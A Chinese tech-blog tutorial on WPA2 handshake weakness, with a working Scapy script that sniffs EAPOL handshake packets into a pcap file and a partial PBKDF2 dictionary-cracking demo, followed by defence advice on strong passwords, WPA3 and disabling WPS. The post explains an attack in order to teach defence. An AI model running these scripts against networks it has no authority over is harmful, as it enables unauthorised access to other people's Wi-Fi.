跳到主要内容
极客日志极客日志面向AI+效率的开发者社区
首页博客GitHub 精选镜像AI 生图工具UI配色美学隐私政策关于联系
搜索内容 / 工具 / 仓库 / 镜像...⌘K搜索
注册
博客列表
Python算法

Wi-Fi 安全原理与防御:基于 Python Scapy 的 WPA2 握手包分析

Wi-Fi WPA2 协议存在设计缺陷,设备连接时的四次握手过程公开广播。攻击者可利用 Python Scapy 抓取 EAPOL 握手包,通过 PBKDF2 算法进行离线字典破解。防御措施包括使用强密码、升级至 WPA3 协议以及关闭 WPS 功能。通过代码演示了握手包捕获与密钥计算原理,旨在帮助开发者理解网络安全隐患并加强防护。

漫步发布于 2026/3/24更新于 2026/7/2327K 浏览
Wi-Fi 安全原理与防御:基于 Python Scapy 的 WPA2 握手包分析
前言:WPA2 协议的安全隐患

WPA2 协议看似坚固,但存在设计逻辑缺陷。设备连接路由器时,必须进行'四次握手' (4-Way Handshake) 来验证密码。这个过程是公开广播的。

攻击者只需监听这四次握手的数据包,将其保存后,即可在本地使用字典尝试计算哈希值,直到匹配成功。

攻防逻辑流程:

  1. 请求连接
  2. 发送随机数 Anonce
  3. 发送随机数 Snonce + MIC (关键)
  4. 确认

抓取握手包 -> 跑字典/暴力破解 -> 得出明文密码

准备工作
  1. 硬件:需要支持监听模式 (Monitor Mode) 的无线网卡(如 RTL8812AU, AR9271 等)。
  2. 环境:Kali Linux 或 Ubuntu。
  3. 依赖:
pip install scapy
第一步:编写 Python 嗅探器抓取 EAPOL 包

WPA2 的握手包在网络协议中被称为 EAPOL (Extensible Authentication Protocol over LAN)。利用 Scapy 过滤出这种包。

核心代码 (sniffer.py):

from scapy.all import *
import sys

# 设置要监听的网卡 (通常是 wlan0mon)
IFACE = "wlan0mon"
print(f"[*] 正在监听 {IFACE} 上的握手包...")

def packet_handler(pkt):
    # 过滤 EAPOL 协议的包
    if pkt.haslayer(EAPOL):
        # EAPOL 包通常在 802.11 帧中
        if pkt.haslayer(Dot11):
            # 获取发送方和接收方的 MAC 地址
            addr1 = pkt.addr1  # 接收方 (Destination)
            addr2 = pkt.addr2  # 发送方 (Source)
            print(f"[+] 捕获 EAPOL 包:{addr2} -> {addr1}")
            # 将包保存到本地 pcap 文件
            wrpcap("handshake.pcap", pkt, append=True)

# 开始嗅探

sniff(iface=IFACE, prn=packet_handler, store=)
# store=0 表示不在内存中保存包,防止内存溢出
0

操作说明: 运行脚本后,当目标设备重连时,脚本会捕获 4 个 EAPOL 包,存入 handshake.pcap。

第二步:Python 模拟字典攻击 (原理演示)

抓到包后,如何从乱码中算出密码?WPA2 的加密核心是 PBKDF2 算法。

简单来说:用字典里的密码算出 MIC,如果算出来的 MIC 和抓包里的 MIC 一样,密码就对了。

破解演示代码 (cracker.py): (注意:Python 跑 PBKDF2 速度很慢,生产环境通常用 C 写的 aircrack-ng 或 GPU 加速的 hashcat,这里仅做原理解析)

import hashlib
import hmac
from binascii import a2b_hex

def calc_pmk(ssid, password):
    """ 计算成对主密钥 (PMK)
    算法:PBKDF2(HMAC-SHA1, password, ssid, 4096, 32)
    """
    return hashlib.pbkdf2_hmac('sha1', password.encode('utf-8'), ssid.encode('utf-8'), 4096, 32)

def try_crack(ssid, dictionary_file):
    print(f"[*] 开始破解 SSID: {ssid}")
    with open(dictionary_file, 'r', errors='ignore') as f:
        for line in f:
            password = line.strip()
            if len(password) < 8:
                continue
            # 模拟计算过程(真实场景还需要结合 Anonce/Snonce 计算 PTK)
            # 这里仅演示最耗时的 PMK 计算步骤
            pmk = calc_pmk(ssid, password)
            # 假设我们有一个函数 check_mic(pmk, captured_packet)
            # if check_mic(pmk, captured_data):
            #     print(f"🎉 密码找到:{password}")
            #     break
            # 打印进度
            sys.stdout.write(f"\r正在尝试:{password}")
            sys.stdout.flush()

# try_crack("MyHomeWiFi", "dict.txt")
防御篇:如何保护你的 Wi-Fi?
1. 杜绝弱密码

破解成功率完全取决于字典里有没有你的密码。

  • ❌ 弱密码:12345678, admin123, 88888888 (分分钟被秒破)。
  • ✅ 强密码:Tr0ub4dor&3 (包含大小写、数字、特殊符号,且长度>12 位,基本无法通过跑字典破解)。
2. 使用 WPA3

WPA3 引入了 SAE (对等实体同时验证) 协议。

  • 它不传输易被离线破解的哈希值。
  • 即使黑客抓到了包,也无法在本地离线跑字典。
  • 建议: 在路由器设置中,将加密模式改为 WPA2/WPA3 混合模式 或 仅 WPA3。
3. 关闭 WPS (Wi-Fi Protected Setup)

虽然本文讲的是抓握手包,但 WPS(那个为了方便连接的按钮/PIN 码)是另一个巨大的安全漏洞,建议直接在路由器后台关闭。

总结

通过 Python + Scapy,我们揭开了 Wi-Fi 破解的神秘面纱。这并不是什么高深的魔法,而是利用了 WPA2 协议必须'广播握手'的特性。作为开发者和架构师,理解攻击链条,才能设计出更安全的网络架构。

目录

  1. 前言:WPA2 协议的安全隐患
  2. 准备工作
  3. 第一步:编写 Python 嗅探器抓取 EAPOL 包
  4. 设置要监听的网卡 (通常是 wlan0mon)
  5. 开始嗅探
  6. store=0 表示不在内存中保存包,防止内存溢出
  7. 第二步:Python 模拟字典攻击 (原理演示)
  8. try_crack("MyHomeWiFi", "dict.txt")
  9. 防御篇:如何保护你的 Wi-Fi?
  10. 1. 杜绝弱密码
  11. 2. 使用 WPA3
  12. 3. 关闭 WPS (Wi-Fi Protected Setup)
  13. 总结
  • 免费图片AI生成工具免费生成了解详情
  • Magick API 一键接入全球大模型注册送1000万token查看
  • 免费图片视频在线生成30秒,将你的创意变成现实开始设计
  • X/Twitter免费视频下载器免登陆无限额度免费视频解析下载了解详情
  • 100+免费在线小游戏爽一把
极客日志微信公众号二维码

微信扫一扫,关注极客日志

微信公众号「极客日志V2」,在微信中扫描左侧二维码关注。展示文案:极客日志V2 zeeklog

更多推荐文章

查看全部
  • Pico 4XVR 1.10.13 安装与使用指南
  • 稳健回归模型对异常值的抵御
  • 双指针算法进阶:从三角形计数到四数之和
  • Web Animations API (WAAPI) 核心原理与实战应用
  • 开源大模型技术对比:LLaMA 3、Qwen 与 DeepSeek 架构解析
  • AI 需求如何推高内存、能耗和安全成本
  • Neo4j 图数据库使用入门
  • 自主无人机硬件搭建及 EGOPlanner 实现
  • MCP 协议详解:与 Function Call 的区别及实战
  • OpenClaw 实战:构建多功能 AI 数字替身与场景应用
  • 基于 DeepSeek 和 Cursor 构建智能代码审查工具
  • 算法题解:LeetCode 389 找不同
  • OpenClaw 多端交互实战指南:Web 控制台、TUI 终端与钉钉集成
  • Claude AI 注册流程解析与手机号验证解决方案
  • C++ 标准库 count 用法详解
  • OpenClaw Browser Relay 接入与浏览器控制实战
  • Windows 下让 OpenClaw Gateway 开机自启并自动打开 Dashboard
  • 基于自定义注解封装 POI 实现 Java 通用 Excel 解析
  • 论文引言写作指南:结构、技巧与 AI 辅助
  • 计算机科学与技术专业学习路径与 Python 技能提升指南

相关免费在线工具

  • 加密/解密文本

    使用加密算法(如AES、TripleDES、Rabbit或RC4)加密和解密文本明文。 在线工具,加密/解密文本在线工具,online

  • Gemini 图片去水印

    基于开源反向 Alpha 混合算法去除 Gemini/Nano Banana 图片水印,支持批量处理与下载。 在线工具,Gemini 图片去水印在线工具,online

  • curl 转代码

    解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online

  • Base64 字符串编码/解码

    将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online

  • Base64 文件转换器

    将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online

  • Markdown转HTML

    将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML转Markdown 互为补充。 在线工具,Markdown转HTML在线工具,online